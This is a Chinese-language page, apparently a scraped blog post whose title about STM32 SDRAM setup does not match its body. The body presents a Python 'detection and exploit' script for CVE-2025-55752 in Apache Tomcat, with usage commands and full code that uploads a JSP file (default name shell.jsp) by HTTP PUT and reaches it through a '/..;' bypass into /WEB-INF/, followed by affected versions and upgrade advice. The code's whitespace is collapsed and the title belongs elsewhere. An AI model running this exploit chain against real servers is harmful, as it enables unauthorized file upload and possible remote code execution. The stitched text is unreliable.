STM32F429IGT6项目实战:基于STM32CubeMX的SDRAM配置与性能优化
2026/5/16 3:33:43
本工具是一个专门用于检测和验证 Apache Tomcat 服务器是否存在 CVE-2025-55752 漏洞的安全脚本。该漏洞是由于重写阀门(Rewrite Valve)与规范化处理存在缺陷,导致攻击者可以绕过路径保护机制,访问或上传文件到受保护目录(如/WEB-INF/)。如果服务器启用了 HTTP PUT 方法,此漏洞可能导致远程代码执行(RCE)。
..;序列绕过 URL 规范化检查,验证对受保护目录的访问requests库克隆或下载脚本文件:
gitclone<repository-url>cdCVE-2025-55752安装必要的 Python 依赖:
pipinstallrequests urllib3(可选)配置环境:
python3 CVE-2025-55752.py http://target:8080 --check此命令仅测试目标服务器是否存在路径绕过漏洞,不进行文件上传。
python3 CVE-2025-55752.py http://target:8080此命令将尝试上传一个测试 JSP 文件,并验证是否能通过路径绕过访问该文件。
python3 CVE-2025-55752.py http://target:8080 --filename exploit.jsp --payload"<% out.println('PWNED'); %>"使用自定义的文件名和 payload 内容进行测试。
python3 CVE-2025-55752.py https://target:8443 --no-ssl-verify对于使用自签名证书的 HTTPS 目标,使用此选项禁用 SSL 验证。
url:目标服务器的基础 URL(必需),需包含http://或https://--filename:上传的文件名,默认为shell.jsp--payload:上传的文件内容,默认为<% out.println("Bypassed!"); %>--check:仅检查路径绕过,不进行文件上传--no-ssl-verify:禁用 SSL 证书验证[+]表示成功或发现漏洞[-]表示失败或未发现漏洞[!]表示发生错误defmain():parser=argparse.ArgumentParser(description="CVE-2025-55752 Exploit & Detection Tool")parser.add_argument("url",help="Target base URL (e.g., http://127.0.0.1:8080)")parser.add_argument("--filename",default="shell.jsp",help="Filename to upload (default: shell.jsp)")parser.add_argument("--payload",default="<% out.println(\"Bypassed!\"); %>",help="Payload content to upload")parser.add_argument("--check",action="store_true",help="Only check for path bypass without uploading")parser.add_argument("--no-ssl-verify",action="store_true",help="Disable SSL certificate verification")args=parser.parse_args()print(BANNER)verify_ssl=notargs.no_ssl_verifyifnotargs.url.startswith("http"):print("[-] Please include http:// or https:// in the URL")sys.exit(1)ifargs.check:check_access(args.url,f"/WEB-INF/{args.filename}",verify_ssl)else:uploaded_path=attempt_put_upload(args.url,args.filename,args.payload,verify_ssl)ifuploaded_path:check_access(args.url,f"/WEB-INF/{args.filename}",verify_ssl)if__name__=="__main__":main()代码说明:
argparse模块解析命令行参数--check参数选择执行模式:仅检查或完整测试defattempt_put_upload(target,filename,payload,verify_ssl):upload_path=f"/{filename}"url=f"{target}{upload_path}"try:print(f"[+] Attempting to upload payload to:{url}")response=requests.put(url,data=payload,verify=verify_ssl,timeout=10)ifresponse.status_codein[200,201,204]:print(f"[+] Upload successful! Response code:{response.status_code}")returnupload_pathelse:print(f"[-] Upload failed! Response code:{response.status_code}")returnNoneexceptExceptionase:print(f"[!] Upload error:{e}")returnNone代码说明:
defcheck_access(target,path,verify_ssl):bypass_path=f"/..;{path}"url=f"{target}{bypass_path}"try:print(f"[+] Checking access to:{url}")response=requests.get(url,verify=verify_ssl,timeout=10)ifresponse.status_code==200:print("[+] Bypass successful! Target may be vulnerable.")returnTrueelse:print(f"[-] Access denied or not vulnerable (HTTP{response.status_code}).")returnFalseexceptExceptionase:print(f"[!] Access check error:{e}")returnFalse代码说明:
..;序列构造路径绕过 URLimportrequestsimportargparseimporturllib3importsysfromurllib.parseimportquote urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)BANNER=""" CVE-2025-55752 Tomcat Path Bypass & Upload Detection Script ============================================================ This tool attempts to exploit a Rewrite Valve + normalization bypass to upload a test JSP file into a protected location (like /WEB-INF) and verify if the server is vulnerable to CVE-2025-55752. """代码说明:
urllib.parse.quote预备 URL 编码功能(虽未在代码中直接使用,但为扩展功能预留)| Tomcat 分支 | 受影响版本 |
|---|---|
| 11.x | 11.0.0-M1 至 11.0.10 |
| 10.1.x | 10.1.0-M1 至 10.1.44 |
| 9.0.x | 9.0.0-M11 至 9.0.108 |
| 8.5.x | 8.5.6 至 8.5.100 |
建议:升级到已修复的版本(11.0.11、10.1.45 或 9.0.109 及以上版本)。
CVE-2025-55752 是 Apache Tomcat 中的一个回归漏洞,当重写规则将查询参数映射到 URL 时,URL 规范化逻辑存在缺陷。攻击者可以利用特定的路径遍历序列(如..;)绕过内部保护机制,访问受限制的目录(如/WEB-INF/或/META-INF/)。如果服务器启用了 HTTP PUT 方法,攻击者可能上传恶意文件并实现远程代码执行。